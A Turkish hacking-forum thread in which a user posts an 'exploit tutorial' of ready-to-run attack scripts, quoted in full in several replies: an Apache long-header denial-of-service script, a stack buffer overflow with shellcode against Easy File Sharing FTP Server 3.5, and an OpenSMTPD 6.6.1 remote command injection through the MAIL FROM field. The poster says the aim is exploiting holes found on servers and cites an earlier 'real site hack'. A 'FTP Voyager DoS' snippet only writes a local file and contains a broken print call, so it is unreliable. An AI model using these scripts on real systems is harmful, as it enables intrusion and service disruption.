Exploit Eğitimi #4 (Her Türden)

Bunjo

Uzman üye
14 Ara 2020
1,591
1,892
I Won
Merhaba ben Bunjo,

Bu konuda birçok servise yönelik geliştirdiğim exploitleri sizlerle paylaşarak açıklayacağım. Buradaki amaç, sunucuda fark ettiğiniz güvenlik açıklarını nasıl sömürebileceğinizi öğrenmenizdir. Ben de bu yöntemleri kullanarak yazdığım kodları sizlere anlatacağım. Bu konu, diğerlerinden biraz farklı olacak.

Konuda kendi eklemelerim de oldu; internetten edindiğim bilgilerle açtıklarım da oldu. Yani kısacası, aşağıda belirttiğim sürümleri veya saldırıları internet üzerinde araştırırsanız daha detaylı bilgiler edinebilirsiniz. Bazılarında ise internet üzerindeki exploitleri düzenledim hepsini kendim tekrar yazdım; perl ile yazılmış olanları içerisinde rubye ve python'a çevirdim, kendimce çalışacak bir şekilde.
Buffer kodları ile alakalı daha sonra detaylı bir konu açacağım.


Eski eğitimler:

ANON-FTP: Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)
FTP DOS (vsftpd 3.0.4): Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)
Apache DOS (Apache 2.0.53) (Korea Telecom , Error Code: "500"): Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)

Evet reklamımızı da yaptığımıza göre amacımıza geri dönebiliriz.

Apache - Arbitrary Long HTTP Headers (Denial of Service)


- Apache -

Apache, HTTP protokolü üzerinde çalışan bir sunucudur ve web sayfalarını istemcilere dağıtmak için kullanılır. Apache, farklı işletim sistemleri üzerinde çalışabilir, Windows, Linux, Unix, macOS gibi. Apache, esnek ve özelleştirilebilir bir yapıya sahiptir ve çok sayıda modül eklentisi ile genişletilebilir.


Ruby:
require 'socket'

# Hedef ip adresi ve portları ayarlayın
host = '10.10.10.114'
port = 80

sock = TCPSocket.new(host, port)

hostname = "Host: #{host}"
buf2 = 'A' * 50
buf4 = 'A' * 8183
len = buf2.length
buf = "GET / HTTP/1.1\r\n"
sock.send(buf, 0)

2000000.times do
  buf = " #{buf4}\r\n"
  sock.send(buf, 0)
end

buf = "#{hostname}\r\n"
buf += "Content-Length: #{len}\r\n\r\n"
buf += "#{buf2}\r\n\r\n"

sock.send(buf, 0)
puts 'buffer kodları gönderildi.'
sock.close

Kod Açıklaması:

Hedefe TCP bağlantısı oluşturulur.
Binary modu etkinleştirilir.
HTTP GET isteği gönderilir.
2 milyon kez döngüde bulunan istek gönderilir.
HTTP başlıkları ve içeriği oluşturulur.
Oluşturulan HTTP isteği gönderilir.
Başarı mesajı yazdırılır ve bağlantı kapatılır.

Easy File Sharing FTP Server 3.5 - Remote Stack Buffer Overflow


Açıklama: Kolay Dosya Paylaşımı FTP Sunucusu, Windows için bir FTP sunucusudur. Kolay dosya paylaşımına yönelik bir çözüm olacak şekilde tasarlanmıştır. FTP protokolü zaten bu görev için en basit protokollerden biridir ve geliştiricileri, acemi kullanıcılar için bile kullanımı inanılmaz derecede kolay bir uygulama yapmıştır.
Eski olsa dahi hala kullanan sunucular mevcuttur.

Ruby:
require 'socket'

# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin
# Bu kod ile payloadı oluşturabilirsiniz aşağıda oluşturulmuş
# bir örnek mevcuttur.

shellcode = (
  "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
  "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
  "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
  "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
  "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
  "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
  "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
  "\x1c\x39\xbd"
)

payload = "\x2c"
payload += "A" * 2559
payload += "\xeb\x19\x90\x90"
payload += [0x10017F21].pack('V')
payload += "\x90" * 30
payload += shellcode

s = TCPSocket.new("192.168.1.130", 21)
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + "\r\n")
s.recv(1024)
s.close()

FTP Voyager 16.2.0 Denial of Service (PoC)


Açıklama: FTP Voyager, Serv-U ve diğer FTP sunucularıyla dosya aktarmanıza olanak tanıyan ücretsiz bir FTP istemcisidir. IPv4/IPv6 üzerinden FTP, SFTP ve FTPS aktarımlarını destekler ve dosya aktarımı planlama ve klasör senkronizasyon yardımcı programlarını içerir. Bu uygulama, dünya çapındaki güvenli dosya sunucularına bağlanmak için RFC uyumlu FTP, FTPS ve SFTP protokollerini kullanır.




Bu kod, sunucuda bir dosya açar ve dosyaya bir anda bir sürü veri girerek sunucunun işleyememesini sağlar dolayısıyla sunucuyu çökertir.

Kullanım yeri: bu kodu istek işlemekte yavaş olan sunucularda deneyebilirsiniz.

Python:
kod = "A" * 500

payloadkod = kod
try:
    f=open("file.txt","w")
    print ("oluşturuluyor" %len(payload))
    f.write(payloadkod)
    f.close()
    print ("oluşturuldu!")
except:
    print ("hata meydana geldi")

bu kod file.txt adlı dosya oluşturur ve içine 500 kez "A" yazar ne yazdığının bir önemi yok 500 yaptığınızda sunucu çökmezse 2000 veya 10000 gibi gibi rakamlar deneyebilirsiniz.

OpenSMTPD 6.6.1 - Remote Code Execution


Açıklama : OpenSMTPD, uzaktaki bir saldırganın, kullanıcı girişinin uygunsuz işlenmesi nedeniyle sistem üzerinde yükseltilmiş ayrıcalıklar elde etmesine olanak tanıyabilir. Saldırgan, özel hazırlanmış bir posta isteği göndererek bu güvenlik açığından yararlanarak sistemde kök kullanıcı olarak rastgele kod çalıştırabilir.



Ruby:
require 'socket'

if ARGV.length != 3
  puts "kullanım örneği: ruby #{__FILE__} hedef-ip hedef-port çalıştırılacak-kod(ls -la gibi)"
  exit(1)
end

ADDR = ARGV[0]
PORT = ARGV[1].to_i
CMD = ARGV[2]

s = TCPSocket.new(ADDR, PORT)

res = s.recv(1024)
unless res.include?('OpenSMTPD')
  puts 'istenilen servis bulunamadı'
  puts "alınan dönüt: #{res}"
  puts 'çıkıldı.'
  exit(1)
end

puts 'istenilen servis olan OpenSMTPD bulundu'
s.send("HELO x\r\n", 0)
res = s.recv(1024)
unless res.include?('250')
  puts 'bağlanırken hata oluştu'
  exit(1)
end

puts 'bağlantı hazır payload yollanıyor'
s.send("MAIL FROM:<;#{CMD};>\r\n", 0)
res = s.recv(1024)
unless res.include?('250')
  puts 'bağlanırken hata oluştu'
  exit(1)
end

puts 'gönderildi'
s.send("RCPT TO:<root>\r\n", 0)
s.recv(1024)
s.send("DATA\r\n", 0)
s.recv(1024)
s.send("\r\nxxx\r\n.\r\n", 0)
s.recv(1024)
s.send("QUIT\r\n", 0)
s.recv(1024)
puts 'exploit gerçekleşti'

Kod Açıklaması:

TCP Bağlantısı Oluştur
OpenSMTPD Varlığını Kontrol Et
SMTP Sunucuyla İletişim Kur
Payload Gönder
Exploiti Tamamla Ve Bağlantıyı Kes



Exploit türlerinin başlıkları içerdikleri alt başlıklar kadar fazla olmasa bile fazla var bu konuda ağırlıklı olarak "DoS" başlığını anlattım "Remote" başlığına da değindim fakat daha iyi exploitler için buffer kodları kullanılarak kota aşım saldırıları yapılıyor buna burda değinmem pek fazla mümkün mü bilemiyorum fakat yani değinmeden anlatabileceğim en fazla bu benimde detaylı şekilde öğrenmem gerekiyor. Bilen arkadaşlar için basit gelebilir fakat bilmeyenler için hazırlıyorum bu konuları kısacası kalan kısımları da yeni konularda anlatmaya çalışacağım.

bir beğeni ve güzel bir yorumu çok görmeyin, konu kısa gibi gelebilir fakat gözlerim acıyor :D Teşekkür ederim.

 
Son düzenleme:

Çokgen

Katılımcı Üye
4 Eyl 2023
412
194
Ellerinize sağlık hocam, çook güzel ve emek kokusu geldi. Klavyenize ve ellerinize sağlık. En beğendiğim konulardan biri oldu.
 

cashflash

Üye
28 Kas 2023
140
30
elinize sağlık, siber güvenlik adına araştırmalar sürdürüyorum. sizin oluşturduğunuz türden konular bana çok yardımcı oluyor. henüz bu konulardan çok bir şey anlamasam da konu içerisinde bilmediğim terimler üzerinden de araştırmalar yaparak anlamaya çalışıyorum. teşekkürler.
 

Bunjo

Uzman üye
14 Ara 2020
1,591
1,892
I Won
elinize sağlık, siber güvenlik adına araştırmalar sürdürüyorum. sizin oluşturduğunuz türden konular bana çok yardımcı oluyor. henüz bu konulardan çok bir şey anlamasam da konu içerisinde bilmediğim terimler üzerinden de araştırmalar yaparak anlamaya çalışıyorum. teşekkürler.
Teşekkür ederim, bir faydam olduysa ne mutlu bana.
 

invisible blood

Uzman üye
15 Eyl 2023
1,177
442
Merhaba ben Bunjo,

Bu konuda birçok servise yönelik geliştirdiğim exploitleri sizlerle paylaşarak açıklayacağım. Buradaki amaç, sunucuda fark ettiğiniz güvenlik açıklarını nasıl sömürebileceğinizi öğrenmenizdir. Ben de bu yöntemleri kullanarak yazdığım kodları sizlere anlatacağım. Bu konu, diğerlerinden biraz farklı olacak.

Konuda kendi eklemelerim de oldu; internetten edindiğim bilgilerle açtıklarım da oldu. Yani kısacası, aşağıda belirttiğim sürümleri veya saldırıları internet üzerinde araştırırsanız daha detaylı bilgiler edinebilirsiniz. Bazılarında ise internet üzerindeki exploitleri düzenledim hepsini kendim tekrar yazdım; perl ile yazılmış olanları içerisinde rubye ve python'a çevirdim, kendimce çalışacak bir şekilde.
Buffer kodları ile alakalı daha sonra detaylı bir konu açacağım.


Eski eğitimler:

ANON-FTP: Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)
FTP DOS (vsftpd 3.0.4): Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)
Apache DOS (Apache 2.0.53) (Korea Telecom , Error Code: "500"): Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)

Evet reklamımızı da yaptığımıza göre amacımıza geri dönebiliriz.

Apache - Arbitrary Long HTTP Headers (Denial of Service)


- Apache -

Apache, HTTP protokolü üzerinde çalışan bir sunucudur ve web sayfalarını istemcilere dağıtmak için kullanılır. Apache, farklı işletim sistemleri üzerinde çalışabilir, Windows, Linux, Unix, macOS gibi. Apache, esnek ve özelleştirilebilir bir yapıya sahiptir ve çok sayıda modül eklentisi ile genişletilebilir.


Ruby:
require 'socket'

# Hedef ip adresi ve portları ayarlayın
host = '10.10.10.114'
port = 80

sock = TCPSocket.new(host, port)

hostname = "Host: #{host}"
buf2 = 'A' * 50
buf4 = 'A' * 8183
len = buf2.length
buf = "GET / HTTP/1.1\r\n"
sock.send(buf, 0)

2000000.times do
  buf = " #{buf4}\r\n"
  sock.send(buf, 0)
end

buf = "#{hostname}\r\n"
buf += "Content-Length: #{len}\r\n\r\n"
buf += "#{buf2}\r\n\r\n"

sock.send(buf, 0)
puts 'buffer kodları gönderildi.'
sock.close

Kod Açıklaması:

Hedefe TCP bağlantısı oluşturulur.
Binary modu etkinleştirilir.
HTTP GET isteği gönderilir.
2 milyon kez döngüde bulunan istek gönderilir.
HTTP başlıkları ve içeriği oluşturulur.
Oluşturulan HTTP isteği gönderilir.
Başarı mesajı yazdırılır ve bağlantı kapatılır.

Easy File Sharing FTP Server 3.5 - Remote Stack Buffer Overflow


Açıklama: Kolay Dosya Paylaşımı FTP Sunucusu, Windows için bir FTP sunucusudur. Kolay dosya paylaşımına yönelik bir çözüm olacak şekilde tasarlanmıştır. FTP protokolü zaten bu görev için en basit protokollerden biridir ve geliştiricileri, acemi kullanıcılar için bile kullanımı inanılmaz derecede kolay bir uygulama yapmıştır.
Eski olsa dahi hala kullanan sunucular mevcuttur.

Ruby:
require 'socket'

# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin
# Bu kod ile payloadı oluşturabilirsiniz aşağıda oluşturulmuş
# bir örnek mevcuttur.

shellcode = (
  "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
  "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
  "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
  "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
  "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
  "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
  "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
  "\x1c\x39\xbd"
)

payload = "\x2c"
payload += "A" * 2559
payload += "\xeb\x19\x90\x90"
payload += [0x10017F21].pack('V')
payload += "\x90" * 30
payload += shellcode

s = TCPSocket.new("192.168.1.130", 21)
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + "\r\n")
s.recv(1024)
s.close()

FTP Voyager 16.2.0 Denial of Service (PoC)


Açıklama: FTP Voyager, Serv-U ve diğer FTP sunucularıyla dosya aktarmanıza olanak tanıyan ücretsiz bir FTP istemcisidir. IPv4/IPv6 üzerinden FTP, SFTP ve FTPS aktarımlarını destekler ve dosya aktarımı planlama ve klasör senkronizasyon yardımcı programlarını içerir. Bu uygulama, dünya çapındaki güvenli dosya sunucularına bağlanmak için RFC uyumlu FTP, FTPS ve SFTP protokollerini kullanır.




Bu kod, sunucuda bir dosya açar ve dosyaya bir anda bir sürü veri girerek sunucunun işleyememesini sağlar dolayısıyla sunucuyu çökertir.

Kullanım yeri: bu kodu istek işlemekte yavaş olan sunucularda deneyebilirsiniz.

Python:
kod = "A" * 500

payloadkod = kod
try:
    f=open("file.txt","w")
    print ("oluşturuluyor" %len(payload))
    f.write(payloadkod)
    f.close()
    print ("oluşturuldu!")
except:
    print ("hata meydana geldi")

bu kod file.txt adlı dosya oluşturur ve içine 500 kez "A" yazar ne yazdığının bir önemi yok 500 yaptığınızda sunucu çökmezse 2000 veya 10000 gibi gibi rakamlar deneyebilirsiniz.

OpenSMTPD 6.6.1 - Remote Code Execution


Açıklama : OpenSMTPD, uzaktaki bir saldırganın, kullanıcı girişinin uygunsuz işlenmesi nedeniyle sistem üzerinde yükseltilmiş ayrıcalıklar elde etmesine olanak tanıyabilir. Saldırgan, özel hazırlanmış bir posta isteği göndererek bu güvenlik açığından yararlanarak sistemde kök kullanıcı olarak rastgele kod çalıştırabilir.



Ruby:
require 'socket'

if ARGV.length != 3
  puts "kullanım örneği: ruby #{__FILE__} hedef-ip hedef-port çalıştırılacak-kod(ls -la gibi)"
  exit(1)
end

ADDR = ARGV[0]
PORT = ARGV[1].to_i
CMD = ARGV[2]

s = TCPSocket.new(ADDR, PORT)

res = s.recv(1024)
unless res.include?('OpenSMTPD')
  puts 'istenilen servis bulunamadı'
  puts "alınan dönüt: #{res}"
  puts 'çıkıldı.'
  exit(1)
end

puts 'istenilen servis olan OpenSMTPD bulundu'
s.send("HELO x\r\n", 0)
res = s.recv(1024)
unless res.include?('250')
  puts 'bağlanırken hata oluştu'
  exit(1)
end

puts 'bağlantı hazır payload yollanıyor'
s.send("MAIL FROM:<;#{CMD};>\r\n", 0)
res = s.recv(1024)
unless res.include?('250')
  puts 'bağlanırken hata oluştu'
  exit(1)
end

puts 'gönderildi'
s.send("RCPT TO:<root>\r\n", 0)
s.recv(1024)
s.send("DATA\r\n", 0)
s.recv(1024)
s.send("\r\nxxx\r\n.\r\n", 0)
s.recv(1024)
s.send("QUIT\r\n", 0)
s.recv(1024)
puts 'exploit gerçekleşti'

Kod Açıklaması:

TCP Bağlantısı Oluştur
OpenSMTPD Varlığını Kontrol Et
SMTP Sunucuyla İletişim Kur
Payload Gönder
Exploiti Tamamla Ve Bağlantıyı Kes



Exploit türlerinin başlıkları içerdikleri alt başlıklar kadar fazla olmasa bile fazla var bu konuda ağırlıklı olarak "DoS" başlığını anlattım "Remote" başlığına da değindim fakat daha iyi exploitler için buffer kodları kullanılarak kota aşım saldırıları yapılıyor buna burda değinmem pek fazla mümkün mü bilemiyorum fakat yani değinmeden anlatabileceğim en fazla bu benimde detaylı şekilde öğrenmem gerekiyor. Bilen arkadaşlar için basit gelebilir fakat bilmeyenler için hazırlıyorum bu konuları kısacası kalan kısımları da yeni konularda anlatmaya çalışacağım.

bir beğeni ve güzel bir yorumu çok görmeyin, konu kısa gibi gelebilir fakat gözlerim acıyor :D Teşekkür ederim.

Ellerinize sağlık hocam.
 

Ertugrul'

Basın&Medya Ekibi Deneyimli
22 Mar 2023
1,154
901
Photoshop 🔥
Merhaba ben Bunjo,

Bu konuda birçok servise yönelik geliştirdiğim exploitleri sizlerle paylaşarak açıklayacağım. Buradaki amaç, sunucuda fark ettiğiniz güvenlik açıklarını nasıl sömürebileceğinizi öğrenmenizdir. Ben de bu yöntemleri kullanarak yazdığım kodları sizlere anlatacağım. Bu konu, diğerlerinden biraz farklı olacak.

Konuda kendi eklemelerim de oldu; internetten edindiğim bilgilerle açtıklarım da oldu. Yani kısacası, aşağıda belirttiğim sürümleri veya saldırıları internet üzerinde araştırırsanız daha detaylı bilgiler edinebilirsiniz. Bazılarında ise internet üzerindeki exploitleri düzenledim hepsini kendim tekrar yazdım; perl ile yazılmış olanları içerisinde rubye ve python'a çevirdim, kendimce çalışacak bir şekilde.
Buffer kodları ile alakalı daha sonra detaylı bir konu açacağım.


Eski eğitimler:

ANON-FTP: Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)
FTP DOS (vsftpd 3.0.4): Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)
Apache DOS (Apache 2.0.53) (Korea Telecom , Error Code: "500"): Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)

Evet reklamımızı da yaptığımıza göre amacımıza geri dönebiliriz.

Apache - Arbitrary Long HTTP Headers (Denial of Service)


- Apache -

Apache, HTTP protokolü üzerinde çalışan bir sunucudur ve web sayfalarını istemcilere dağıtmak için kullanılır. Apache, farklı işletim sistemleri üzerinde çalışabilir, Windows, Linux, Unix, macOS gibi. Apache, esnek ve özelleştirilebilir bir yapıya sahiptir ve çok sayıda modül eklentisi ile genişletilebilir.


Ruby:
require 'socket'

# Hedef ip adresi ve portları ayarlayın
host = '10.10.10.114'
port = 80

sock = TCPSocket.new(host, port)

hostname = "Host: #{host}"
buf2 = 'A' * 50
buf4 = 'A' * 8183
len = buf2.length
buf = "GET / HTTP/1.1\r\n"
sock.send(buf, 0)

2000000.times do
  buf = " #{buf4}\r\n"
  sock.send(buf, 0)
end

buf = "#{hostname}\r\n"
buf += "Content-Length: #{len}\r\n\r\n"
buf += "#{buf2}\r\n\r\n"

sock.send(buf, 0)
puts 'buffer kodları gönderildi.'
sock.close

Kod Açıklaması:

Hedefe TCP bağlantısı oluşturulur.
Binary modu etkinleştirilir.
HTTP GET isteği gönderilir.
2 milyon kez döngüde bulunan istek gönderilir.
HTTP başlıkları ve içeriği oluşturulur.
Oluşturulan HTTP isteği gönderilir.
Başarı mesajı yazdırılır ve bağlantı kapatılır.

Easy File Sharing FTP Server 3.5 - Remote Stack Buffer Overflow


Açıklama: Kolay Dosya Paylaşımı FTP Sunucusu, Windows için bir FTP sunucusudur. Kolay dosya paylaşımına yönelik bir çözüm olacak şekilde tasarlanmıştır. FTP protokolü zaten bu görev için en basit protokollerden biridir ve geliştiricileri, acemi kullanıcılar için bile kullanımı inanılmaz derecede kolay bir uygulama yapmıştır.
Eski olsa dahi hala kullanan sunucular mevcuttur.

Ruby:
require 'socket'

# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin
# Bu kod ile payloadı oluşturabilirsiniz aşağıda oluşturulmuş
# bir örnek mevcuttur.

shellcode = (
  "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
  "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
  "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
  "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
  "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
  "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
  "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
  "\x1c\x39\xbd"
)

payload = "\x2c"
payload += "A" * 2559
payload += "\xeb\x19\x90\x90"
payload += [0x10017F21].pack('V')
payload += "\x90" * 30
payload += shellcode

s = TCPSocket.new("192.168.1.130", 21)
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + "\r\n")
s.recv(1024)
s.close()

FTP Voyager 16.2.0 Denial of Service (PoC)


Açıklama: FTP Voyager, Serv-U ve diğer FTP sunucularıyla dosya aktarmanıza olanak tanıyan ücretsiz bir FTP istemcisidir. IPv4/IPv6 üzerinden FTP, SFTP ve FTPS aktarımlarını destekler ve dosya aktarımı planlama ve klasör senkronizasyon yardımcı programlarını içerir. Bu uygulama, dünya çapındaki güvenli dosya sunucularına bağlanmak için RFC uyumlu FTP, FTPS ve SFTP protokollerini kullanır.




Bu kod, sunucuda bir dosya açar ve dosyaya bir anda bir sürü veri girerek sunucunun işleyememesini sağlar dolayısıyla sunucuyu çökertir.

Kullanım yeri: bu kodu istek işlemekte yavaş olan sunucularda deneyebilirsiniz.

Python:
kod = "A" * 500

payloadkod = kod
try:
    f=open("file.txt","w")
    print ("oluşturuluyor" %len(payload))
    f.write(payloadkod)
    f.close()
    print ("oluşturuldu!")
except:
    print ("hata meydana geldi")

bu kod file.txt adlı dosya oluşturur ve içine 500 kez "A" yazar ne yazdığının bir önemi yok 500 yaptığınızda sunucu çökmezse 2000 veya 10000 gibi gibi rakamlar deneyebilirsiniz.

OpenSMTPD 6.6.1 - Remote Code Execution


Açıklama : OpenSMTPD, uzaktaki bir saldırganın, kullanıcı girişinin uygunsuz işlenmesi nedeniyle sistem üzerinde yükseltilmiş ayrıcalıklar elde etmesine olanak tanıyabilir. Saldırgan, özel hazırlanmış bir posta isteği göndererek bu güvenlik açığından yararlanarak sistemde kök kullanıcı olarak rastgele kod çalıştırabilir.



Ruby:
require 'socket'

if ARGV.length != 3
  puts "kullanım örneği: ruby #{__FILE__} hedef-ip hedef-port çalıştırılacak-kod(ls -la gibi)"
  exit(1)
end

ADDR = ARGV[0]
PORT = ARGV[1].to_i
CMD = ARGV[2]

s = TCPSocket.new(ADDR, PORT)

res = s.recv(1024)
unless res.include?('OpenSMTPD')
  puts 'istenilen servis bulunamadı'
  puts "alınan dönüt: #{res}"
  puts 'çıkıldı.'
  exit(1)
end

puts 'istenilen servis olan OpenSMTPD bulundu'
s.send("HELO x\r\n", 0)
res = s.recv(1024)
unless res.include?('250')
  puts 'bağlanırken hata oluştu'
  exit(1)
end

puts 'bağlantı hazır payload yollanıyor'
s.send("MAIL FROM:<;#{CMD};>\r\n", 0)
res = s.recv(1024)
unless res.include?('250')
  puts 'bağlanırken hata oluştu'
  exit(1)
end

puts 'gönderildi'
s.send("RCPT TO:<root>\r\n", 0)
s.recv(1024)
s.send("DATA\r\n", 0)
s.recv(1024)
s.send("\r\nxxx\r\n.\r\n", 0)
s.recv(1024)
s.send("QUIT\r\n", 0)
s.recv(1024)
puts 'exploit gerçekleşti'

Kod Açıklaması:

TCP Bağlantısı Oluştur
OpenSMTPD Varlığını Kontrol Et
SMTP Sunucuyla İletişim Kur
Payload Gönder
Exploiti Tamamla Ve Bağlantıyı Kes



Exploit türlerinin başlıkları içerdikleri alt başlıklar kadar fazla olmasa bile fazla var bu konuda ağırlıklı olarak "DoS" başlığını anlattım "Remote" başlığına da değindim fakat daha iyi exploitler için buffer kodları kullanılarak kota aşım saldırıları yapılıyor buna burda değinmem pek fazla mümkün mü bilemiyorum fakat yani değinmeden anlatabileceğim en fazla bu benimde detaylı şekilde öğrenmem gerekiyor. Bilen arkadaşlar için basit gelebilir fakat bilmeyenler için hazırlıyorum bu konuları kısacası kalan kısımları da yeni konularda anlatmaya çalışacağım.

bir beğeni ve güzel bir yorumu çok görmeyin, konu kısa gibi gelebilir fakat gözlerim acıyor :D Teşekkür ederim.

Eline saglik bunjomm
 

tamam ağa

Uzman üye
7 Haz 2023
1,471
840
Bu exploitler çok eski basit bir aramayla ilgili exploit bulunabiliyor(exploit-db)
üyelerin kendilerini geliştirmesine çok uzak bir konu olmuş daha fazla ayrıntı verilebilirdi mesela ram bellek durumları adım adım screen alınabilirdi.
 

Bunjo

Uzman üye
14 Ara 2020
1,591
1,892
I Won
Bu exploitler çok eski basit bir aramayla ilgili exploit bulunabiliyor(exploit-db)
üyelerin kendilerini geliştirmesine çok uzak bir konu olmuş daha fazla ayrıntı verilebilirdi mesela ram bellek durumları adım adım screen alınabilirdi.
Yukarıda yazmışım zaten bulunabiliyor exploit db de ne uzatıyorsun daha buffer kodları olmadan da büyük bir şey olmayacağını söyledim uzatma bak işine karışıp karışıp durma bana.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.